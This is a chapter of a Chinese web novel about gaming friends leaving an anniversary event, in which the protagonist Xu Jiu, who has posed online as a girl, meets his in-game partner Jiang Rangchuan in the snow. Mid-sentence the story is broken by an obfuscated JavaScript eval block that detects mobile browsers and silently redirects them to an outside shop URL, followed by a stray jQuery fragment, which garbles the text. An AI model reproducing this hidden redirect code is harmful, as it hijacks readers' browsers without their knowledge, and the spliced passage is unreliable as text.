从会场出来的时候,外面已经变了天。
轻细的雪不知道什么时候开始落的,被夜风卷着往人衣领里钻。
只是天还没有那么冷,在落在肩头前就凝成粒水珠。
许久和闫言顺着人群慢慢绕着会场走,闫言的手机就没放下来过,走两步就停下来扒拉相册,把刚刚会场里的照片视频传到帮会群里。
“这波必须发!你看这个新主线CG!我不行了,家人们都给我哭!”
刚刚周年庆内容太过目不暇接,闫言光忙着兴奋大叫拍照,完全忘记帮会群里还有一堆嗷嗷待哺的帮众。
一直走出会场大门好久,才看见通知栏的99+消息和满屏@宇宙第一帅三三帮主,闫言这才想起来奶孩子。
许久点点头,也还沉浸在刚刚周年庆的氛围里:“是真的挺好的,身临其境,像真的在江湖一样。
“我也是!老子现在都有点戒断反应了好吧。”闫言吸吸鼻子,又有些哽咽,“特别是那个情景剧......我们蛊衣老谷主以身做蛊的时候,真的哭了好吧。”
闫言想来那场催人泪下的情景剧,小嘴一撇,眼看又要哭了,许久忍不住上去接着逗逗他。
“嗯,看见你在那拿袖子擦鼻涕了。”
“喂!你不看内容总偷看本帅哥干嘛,暗恋小爷吗你个基佬。”闫言咧开嘴,又呜呜呜地拉长警报似的哭嚎。
许久对于闫言这种雷声大雨点小的夸张早已熟悉,任其嚎叫一阵。
果不其然,像是想起来了什么,闫言又收回了撒泼打滚的模样,换上一副严肃脸:
“诶不对,他是不是说下版本推出同性情缘了?”
“同性情缘?”许久想起来了,他当时还被场上一片尖叫声吓了一跳,以为出了什么大事。
“对啊,就是两个男号或者两个女号也能挂情缘关系了,你说要俩妹子结情缘还好,也算养眼,俩男的......咦.......”
点进去一个丐帮肌肉男的主页,挂着另一个肌肉男少林在主页.....
那画面太美好,许久不敢想。
“以前那些人为了挂情缘不都专门建小号或者转性吗?现在十年了才出,怎么感觉有点晚节不保的样子.......”
许久和闫言两个直男对于这种略离经叛道的事情有些接受无能,对此都持悲观态度。
闫言摸索着下巴,以老瓜人的身份发表了非常有远见的总结:
“以后这818可得热闹了,这些网恋小情侣们不仅要找异性小三了,还得看看这好丽友是不是好基友了。”
“你就不能盼点好。”许久说。
“你也得注意了许小久。”闫言边摇头边坏笑。
“关我什么事。”
突然点到自己名,许久莫名有一丝自己也察觉不到的紧张,像是被踩到尾巴一样紧接着反驳,但欲盖弥彰的笑还是出卖了他。
“你别笑啊,还好你不玩花剑醉久了,你这迷弟可不比迷妹少,小心有些人你把他当兄弟,他却想泡你。”
闫言挑眉,他私聊里问花剑醉久皮下是不是男同的可不少,只不过他怕许久吓到全拦住了而已。
“哪有。”
不太喜欢跟人谈论游戏相关的感情话题,无论是花剑醉久还是啾啾,他从啦没想过要跟谁在游戏里发展什么关系。
可闫言偏偏提到了迷弟,许久又偏偏想到了川辞,控制不住地晃过川辞的影子和他的声音。
川辞他,刚才是不是也会在周年庆的会场里?
会不会看见的某一个人就是他......
闫言忽然凑过来,笑得一脸不怀好意:“诶!你说,那个算命老头说你面若桃花红鸾星动,该不会就是因为这个吧?”
许久自然不信这些东西:“官方找的COSER,怎么能真会算命。”
“而且。”许久伸手捞了一把闫言的头发,“那老头还说你是妻管严呢,你看你这模样能服人管吗?”
“看人真准宝贝。”
闫言非常骄傲地甩了一下头发,耀眼的白金在昏黄的路灯下更是把他衬得如同爱豆一样华夺目张扬。
“我滴老婆必须是温柔似水小鸟依人。”
闫言快走两步绕到许久前面,倒着走,边退边说:“但我觉得吧,也不全是胡扯。”
面对着许久,闫言伸出手捧着许久的脸一揉:“你看啊,就这张脸,能缺了桃花?可惜全让这破眼镜给糟蹋了。”
许久被他捏得脸都变了形,眼镜也被挤得滑到鼻尖,他挥手拍掉闫言的手,斜了闫言头发一眼。
“你先把你的头发染匀了再跟我谈形象。”
“这是我专门让TONY老师染的渐变黑发尾啊我杀了你!!”
闫言伸手就朝着许久脖子掐去,许久往旁边闪了一大步,两个人在人行道上你推我一下我推你一下玩了起来。
这时闫言的手机铃响了。
闫言一手搂着许久的脖子一手摸出来手机:“歪?你们齐了?OKKK我马上来!你们先点菜!”
那头又嚷嚷了几句,闫言笑着骂了句催什么催。
“等你了,快去吧。”许久说。
闫言实在做不出把兄弟一个人扔在大马路上的事,更何况是人生地不熟的外地,临走又犹豫踌躇了起来。
“你真不去?都是几个老伙计,老何凌姐小鸟他们。你刚被封号那几天他们天天问我你去哪了,后来知道你要退游,凌姐还跟我打电话哭了一鼻子.......”
许久摇摇头,把闫言闹的敞开了的领口拢了拢:“不去了。现在还不是见他们的时候。”
“或者你随便说你是谁呢……说是我朋友跟来蹭饭的,也没人会多问。”闫言还在挣扎。
许久还是摇头。
“你去吧,少喝点。结束给我打电话,要是喝大了我去接你。
“就等你这句话呢。”闫言笑起来,叫了辆车。
车灯从夜幕里照过来的时候,闫言转身对许久说:“你回酒店哈别乱跑,这帮人都能喝,估计得闹到挺晚。我争取清醒到最后,把他们的黑历史都拍下来。”
许久给他关上了车门。
“帮我捎句话,就说我也想他们了。
闫言在车窗那边比了个OK。
许久站在原地看着车尾灯消失后,才一个人往酒店方向走。
D市的初雪总是极轻细的,许久第一次见到这种雪粒,像是飘在夜里的霰,刚落到肩头就被人的体温化去了白。
路上人不多,有些是刚散场的玩家,有些是本地居民。
几对情侣走在他前面,女孩挽着男孩的胳膊,头靠在对方肩上,小声说着什么,偶尔有笑声传过来,断断续续的。
许久把外套领子往上拉了拉,不好意思地加快步伐超过了他们。
风很凉,吹在脸上倒是很舒服。
手机在口袋里震了一下,一人走路总归是有些无聊,许久掏出手机,只见屏幕上弹出来了一个微信消息。
江:在哪?
突然的没头没脑的疑问给许久吓地停下脚步,四处环绕一周,没见有什么人在看他。
江让川不会恰好看到他了吧?
但就算看见他了,也认不出来他吧?许久想。
毕竟他们也没见过面,根本不知道对方长什么样子。
9:在家呢。
想通了的许久脸不红心不跳地撒谎。
江:真的在家里吗?
他什么意思?
许久又抬眼看了遍四周,还是没有什么可疑的人,甚至这会连人都很少了。
许久觉得自己站
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17915975|213315||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在路灯下有点太过显眼了,边打字边往暗处走,生怕旁边突然窜出来一个人。
9:嗯,怎么了?
江:黄牛跟我说你在他那买票了,为什么要骗我?
江:你跟我说不去线下,是不想跟我见面吗?
他怎么知道了.......许久的脑子突然断了线,站在原地发懵。
他知道了我在骗他怎么办?
9:我不是
手比脑子快,还没想好应对的法子,许久就已经把回答发了出去了。
可解释辩解又有什么用,许久骗了他是事实,不面基不就是不想跟他见面吗。
江:那就是有事骗了我。
许久其实不是不想见川辞,他也不是故意要骗他的。
论坛有越来越多的人质疑他的身份,甚至飞雪连天的盟主鸾刀都要开小号来验明他的身份。
装作女生是不得已的举动,他并非有意骗了他。
许久不知从何处开始解释,删删减减。他想说自己是男生,但又怕川辞被他吓跑,像梦里一样质问怒骂。
他第一次发现自己的懦弱,他察觉到自己的想法后也怒其不争。因为他有一瞬间想过,如果能一直骗他是女生也能玩下去啊。
许久感觉自己应该是疯了。
对面似乎看出了他的窘迫,又把问题扯了回去,步步紧逼。
江:那你就是不想见我。
江:可是我想见你。
许久无力地瘫倚墙边,面对江让川的步步紧逼,他紧张、害怕、甚至恐惧,但还是有份不甘的期待按捺不住。
许久一手抓住衣领,低头埋在领子里深呼吸强迫自己冷静。但精神震荡的不安只能代偿到身体,打字的时候,他能感受到胸腔在随着呼吸隐隐颤抖。
9:我们只是游戏搭子,游戏里的师徒而已。
9:不是什么非要见面的关系。
消息一发出去许久就熄屏闭上了眼,强迫自己不要再有过分的憧憬。
许久不停给自己洗脑,告诉自己他们只是普通的游戏好友而已,面前算是熟人的游戏搭子,离开江湖什么都不是的陌生人。
可手机再一震,许久还是迫不及待地打开微信,翻开最新的消息。
江:下雪了。
江:这是我想见你的理由。
还不等许久思考,江让川发起了位置共享。
不过江让川没有催促,他在等待许久自己选择。
风有些冷,雪还在下。细碎的雪粒落在手机屏幕上,很快化成了水珠,许久不忍心让人在风里等这么久。
许久点进去,共享了自己的位置。
算了,让他自己发现真相吧。
许久只能这般找补。
两个人的头像紧挨着,比许久想象的要近的多。
就在同一条街上,甚至给许久做心理准备的时间都不够。
江让川的头像朝着他慢慢移动,靠的越来越近,要不了多久,人也会出现在他的面前。
许久此时有些慌了,他甚至开始后悔。怀疑自己是昏了头才会心疼一个大男人淋这点破雪。
眼镜度数有些不够,许久眯着眼看向那边还是有些模糊,他悄悄往后退着走了几步。
手机又震了一下。
江:别动。
许久抬头,他能看到尽头糊成一团的光晕里,有一个人正向他走来。
他听见自己的心跳在胸膛的回响,一声接一声的重。
许久僵在原地,手里紧攥着手机,突然有点想转身跑掉却发现自己像是被那句话钉在原地一样,使不上力气。
直到他看清了来人的脸。
江让川站定在他面前,在灯下雪向光尘一样落在两人之间。
他看着许久,轻轻说:
“我来了。”